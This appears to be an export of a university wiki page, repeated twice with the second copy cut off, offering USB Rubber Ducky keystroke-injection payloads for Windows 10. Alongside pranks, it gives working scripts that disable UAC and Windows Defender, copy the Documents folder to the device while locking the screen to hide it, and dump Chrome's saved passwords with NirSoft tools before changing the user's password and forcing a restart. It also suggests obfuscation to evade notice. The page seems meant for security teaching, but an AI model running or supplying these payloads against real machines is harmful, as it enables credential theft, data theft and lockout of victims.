All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a 1st step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the 2nd step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
Target Host:&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software installed: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
Pre-installations:&lt;br /&gt;
* For automated browser navigation with a script:&lt;br /&gt;
* Selenium&lt;br /&gt;
* Chromedriver, according to the Chrome Browser version on the target host:&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* For file extraction: 7-zip&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
&lt;br /&gt;
REM Enter download credentials&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM Wait for Downlaod&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
REM Open new Powershell&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip the downloaded ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
REM Exit PowerShell&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
REM Restart the computer&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# 1. Load the Selenium module&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# 2. Start Driver: Define the path to the Chrome Browser binary&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define the path to the new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use the updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver with the service and Chrome options&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to the NirSoft download page&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Find and click the link that triggers the download&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
# Wait for the iframe to load&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)  # Use the iframe&#039;s ID or other unique selector&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    # Try to locate the dismiss button&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # Check if the button is visible and clickable&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    # Handle the case where the dismiss button does not appear&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
* Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* Rubber Ducky Documentation: &lt;br /&gt;
* Change the password of Windows User Attack:&lt;br /&gt;
* Nirsoft password recovery tool for web browsers:&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=16981</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=16981"/>
		<updated>2024-12-11T13:25:00Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Change Windows Local User Password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
